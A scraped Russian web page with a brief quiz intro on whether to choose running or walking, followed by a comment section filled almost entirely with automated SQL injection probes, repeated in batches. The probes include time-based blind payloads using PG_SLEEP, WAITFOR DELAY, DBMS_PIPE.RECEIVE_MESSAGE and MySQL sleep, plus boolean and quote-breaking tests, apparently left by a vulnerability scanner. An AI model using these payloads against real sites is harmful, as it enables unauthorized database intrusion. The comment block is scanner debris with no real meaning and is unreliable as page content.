}, 2000); } });

Что выбрать — бег или ходьбу?

Что выбрать — бег или ходьбу?

Бег помогает быстро похудеть, ходьба бережет суставы и укрепляет сердце. На пробежке легко расстаться с грустными мыслями, а на прогулке — медитировать и креативить. У каждого из этих видов активности свои преимущества. И как выбрать тот, что идеально подойдет именно вам? Ответьте на вопросы нашего теста!

Начать тест
Комментарии234
По дате
1????%2527%2522
@@WN3t7
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
UWmU6ZED')) OR 546=(SELECT 546 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
F7lmtOi1' OR 366=(SELECT 366 FROM PG_SLEEP(15))--
kTNo5D5d') OR 99=(SELECT 99 FROM PG_SLEEP(15))--
-5) OR 466=(SELECT 466 FROM PG_SLEEP(15))--
-1)) OR 531=(SELECT 531 FROM PG_SLEEP(15))--
Web3V4Np'; waitfor delay '0:0:15' --
-5 OR 135=(SELECT 135 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 2+388-388-1=0+0+0+1
-1 OR 3+388-388-1=0+0+0+1
1*1
1*1
1*1
1*1
zVkiIU6q
1????%2527%2522
@@DuNPm
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
Nn3agrlP')) OR 536=(SELECT 536 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
rnPDZKmj' OR 353=(SELECT 353 FROM PG_SLEEP(15))--
73P6s2BR') OR 982=(SELECT 982 FROM PG_SLEEP(15))--
-5) OR 444=(SELECT 444 FROM PG_SLEEP(15))--
-1)) OR 280=(SELECT 280 FROM PG_SLEEP(15))--
MPsWDy9M'; waitfor delay '0:0:15' --
-5 OR 172=(SELECT 172 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 OR 3+176-176-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
1*1
-1 OR 2+176-176-1=0+0+0+1
1*1
1*1
HcSuLWoQ
1*1
1????%2527%2522
@@OYxU4
1'"
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
BtNUmABS') OR 552=(SELECT 552 FROM PG_SLEEP(15))--
1PVppPw3')) OR 836=(SELECT 836 FROM PG_SLEEP(15))--
yRuMxCbi' OR 84=(SELECT 84 FROM PG_SLEEP(15))--
-5) OR 320=(SELECT 320 FROM PG_SLEEP(15))--
-1)) OR 724=(SELECT 724 FROM PG_SLEEP(15))--
MVffLohH'; waitfor delay '0:0:15' --
-5 OR 645=(SELECT 645 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 OR 3+124-124-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
-1 OR 2+124-124-1=0+0+0+1
1*1
1*1
1*1
CptC4rX8
1*1
@@QABD7
1'"
1????%2527%2522
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
2NAddDtS') OR 854=(SELECT 854 FROM PG_SLEEP(15))--
WQsNT3wH')) OR 373=(SELECT 373 FROM PG_SLEEP(15))--
-1)) OR 89=(SELECT 89 FROM PG_SLEEP(15))--
uSYVGzmV' OR 842=(SELECT 842 FROM PG_SLEEP(15))--
-5 OR 869=(SELECT 869 FROM PG_SLEEP(15))--
-5) OR 926=(SELECT 926 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
a4p5osaw'; waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 2+245-245-1=0+0+0+1
-1 OR 3+245-245-1=0+0+0+1
1*1
1*1
1*1
1*1
3QehqvuN
@@wZoI1
1'"
1????%2527%2522
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
mJOzH5pe') OR 375=(SELECT 375 FROM PG_SLEEP(15))--
3RL7cbfA')) OR 581=(SELECT 581 FROM PG_SLEEP(15))--
-1)) OR 257=(SELECT 257 FROM PG_SLEEP(15))--
dd4NyW4W' OR 903=(SELECT 903 FROM PG_SLEEP(15))--
-5 OR 468=(SELECT 468 FROM PG_SLEEP(15))--
-5) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
odlA08mW'; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 OR 3+757-757-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
1*1
-1 OR 2+757-757-1=0+0+0+1
1*1
1*1
dnBb5APB
1*1
@@qUYff
1????%2527%2522
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZerLOUMW') OR 628=(SELECT 628 FROM PG_SLEEP(15))--
OfE7ygh2')) OR 186=(SELECT 186 FROM PG_SLEEP(15))--
b4Oc4Sqp' OR 731=(SELECT 731 FROM PG_SLEEP(15))--
-5) OR 72=(SELECT 72 FROM PG_SLEEP(15))--
-1)) OR 341=(SELECT 341 FROM PG_SLEEP(15))--
-5 OR 876=(SELECT 876 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
bjgTjTPX'; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
if(now()=sysdate(),sleep(15),0)
-1 OR 3+704-704-1=0+0+0+1
1*1
-1 OR 2+704-704-1=0+0+0+1
1*1
1*1
1*1
se3ywgLR
1????%2527%2522
@@309Pj
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
W1nyJtOJ')) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
520Ejfs8' OR 142=(SELECT 142 FROM PG_SLEEP(15))--
COJB13cH') OR 898=(SELECT 898 FROM PG_SLEEP(15))--
-5) OR 345=(SELECT 345 FROM PG_SLEEP(15))--
-1)) OR 592=(SELECT 592 FROM PG_SLEEP(15))--
yAPLLZoK'; waitfor delay '0:0:15' --
-5 OR 813=(SELECT 813 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 OR 3+177-177-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
1*1
-1 OR 2+177-177-1=0+0+0+1
1*1
1*1
e4SbN1Tp
1*1
@@EzuH3
1'"
1????%2527%2522
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
wsVgaZkv') OR 508=(SELECT 508 FROM PG_SLEEP(15))--
OfyDC5yL')) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
-1)) OR 53=(SELECT 53 FROM PG_SLEEP(15))--
7Weo1wTB' OR 734=(SELECT 734 FROM PG_SLEEP(15))--
-5 OR 220=(SELECT 220 FROM PG_SLEEP(15))--
-5) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
utCGqgha'; waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 2+733-733-1=0+0+0+1
-1 OR 3+733-733-1=0+0+0+1
1*1
1*1
1*1
1*1
BpCUP910
1????%2527%2522
@@D88CF
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
KXTZTVK7')) OR 434=(SELECT 434 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
QsZ5Np9M' OR 978=(SELECT 978 FROM PG_SLEEP(15))--
oJdHNrYD') OR 297=(SELECT 297 FROM PG_SLEEP(15))--
-5) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
-1)) OR 561=(SELECT 561 FROM PG_SLEEP(15))--
oFmPyMHK'; waitfor delay '0:0:15' --
-5 OR 962=(SELECT 962 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 OR 3+680-680-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
1*1
-1 OR 2+680-680-1=0+0+0+1
1*1
1*1
mNi33RdI
1*1

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